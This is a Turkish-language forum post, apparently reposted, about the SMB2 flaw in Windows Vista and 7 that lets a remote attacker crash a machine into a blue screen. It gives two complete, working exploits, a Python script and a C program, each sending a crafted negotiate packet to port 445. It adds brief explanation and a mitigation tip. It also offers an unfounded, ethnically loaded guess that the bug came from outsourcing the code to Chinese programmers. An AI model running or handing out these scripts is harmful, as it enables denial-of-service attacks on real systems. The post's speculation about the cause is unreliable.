IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası
  sohbet

 Kayıt ol  Topluluk
Etiketlenen Kullanıcılar

Yeni Konu aç Cevapla
 
LinkBack Seçenekler Stil
Alt 10 Nisan 2013, 16:22   #1
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Windows Vista/7 SMB2 Güvenlik Açığı




7 Eylülde Laurent Gaffie tarafından raporlanan açığa göre Windows Vista ve Windows 7 işletim sistemleri ciddi bir güvenlik riski altında. Saldıgan bu açığı kullanarak Windows Vista veya Windows 7 çalıştıran sistemleri uzaktan çökertebiliyor. Windows’un bu sürümlerinde kullanılan SMB2 (windows çalışma guruplarının dosya ve yazıcı paylaşımı için kullandığı protokolün 2. sürümü) hizmeti özel olarak oluşturulmuş bir veri paketi ile etkilenerek Windows’un mavi ekrana düşmesine neden oluyor. Güvenlik açığı için henuz uzaktan kod çalıştıran bir exploit yazılmış değil fakat Segmentation Fault hatalarının kolaylıkla exploit edilebildiği de biliniyor.

Kod:   Kodu kopyalamak için üzerine çift tıklayın!
#!/usr/bin/python<br /> #When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field<br /> #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error</p> <p>from socket import socket<br /> from time import sleep</p> <p>host = "IP_ADDR", 445<br /> buff = (<br /> "\x00\x00\x00\x90" # Begin SMB header: Session message<br /> "\xff\x53\x4d\x42" # Server Component: SMB<br /> "\x72\x00\x00\x00" # Negociate Protocol<br /> "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853<br /> "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"<br /> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"<br /> "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"<br /> "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"<br /> "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"<br /> "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"<br /> "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"<br /> "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"<br /> "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"<br /> "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"<br /> "\x30\x30\x32\x00"<br /> )<br /> s = socket()<br /> s.connect(host)<br /> s.send(buff)<br /> s.close()

SMB 2.0 oturumunun başında istemcinin sunucuya gönderdiği paket başlığında yer alan “Process ID High” isimli alana ampersant “&” karakteri koyulduğunda PAGE_FAULT_IN_NONPAGED_AREA hatası oluşuyor ve mavi ekran beliriyor.

Hatanın oluşma nedeni, &’nin binary karşılığından ziyade adres operatörü olarak yorumlanmasından kaynaklanıyor olabilir. Böyle ise oldukça vahim bir durum. Bu durumda SMB2.0 implementasyonunda dışarıdan gelen verilerin ele alınış şeklinde hatalar olduğundan bahsedebiliriz. Aslında Mikrsosoft’un böylesi bir programlama hatası yapması pek olası değil fakat ekonomik kriz nedeniyle implementasyonun çinli programcılara yazdırılmış olabileceğini düşünüyorum.

Açığı test etmek için Windows güvenlik duvarını kapatın ve dosya paylaşımını aktive edin. Açık çoktan Metasploit’e aktarılmış. Açığın C++ kodu da aşağıdaki gibi.

Kod:   Kodu kopyalamak için üzerine çift tıklayın!
/* * Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. * (c) Laurent Gaffie http://g-laurent.blogspot.com */ #include <stdio.h> #include <strings.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> int main(int argc, char** argv) { int sock; int ret; int port = 445; char* buff = "\x00\x00\x00\x90\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e\x30\x30\x32\x00"; struct sockaddr_in host_addr; struct hostent *host; if(argc != 2) { printf("Usage: <exploit> <host ip>\n"); return 1; } sock = socket(AF_INET, SOCK_STREAM, 0); if(!sock) { printf("Socket creation failed\n"); return 1; } host = gethostbyname(argv[1]); if(!host) { printf("Host not found\n"); return 1; } bzero((char *) &host_addr, sizeof(host_addr)); host_addr.sin_family = AF_INET; bcopy((char *)host->h_addr, (char *)&host_addr.sin_addr.s_addr, host->h_length); host_addr.sin_port = htons(port); ret = connect(sock,(struct sockaddr*)&host_addr,sizeof(host_addr)); if(ret) { perror("Unable to connect"); return 1; } ret = write(sock,buff,148); if(ret) { printf("Death message sent: %i bytes\n",ret); } else { printf("Error sending shellcode\n"); return 1; } close(sock); return 0; }

Günvelik açığı MS’a bildirilmiş. Henüz bir yama yayınlanmadı. Önlem olarak Windows 7 ve Vista’larda dosya ve yazıcı paylaşımı özelliğinin devre dışı bırakılması öneriliyor.

Kaynak:[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Kod:   Kodu kopyalamak için üzerine çift tıklayın!
Alıntıdır...


 
Alıntı ile Cevapla

IRCForumlari.NET Reklamlar
sohbet odaları sohbet odaları Benimmekan Mobil Sohbet
Cevapla

Etiketler
açığı, güvenlik, smb2, vista or 7, windows


Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Açık
Refbacks are Açık


Benzer Konular
Konu Konuyu Başlatan Forum Cevaplar Son Mesaj
DNS Güvenlik Açığı Ocean Güvenlik Açıkları 2 07 Ağustos 2008 09:30
Windows Vista ve XP'de önemli güvenlik açığı. Lee Güvenlik Açıkları 1 10 Ocak 2008 20:45
Windows DNS güvenlik açığı için exploit kodları yayınlandı Gravity Güvenlik Açıkları 0 16 Aralık 2007 14:48
Windows'ta 'ciddi' güvenlik açığı.. Chelt Haber Arşivi 0 20 Temmuz 2005 23:38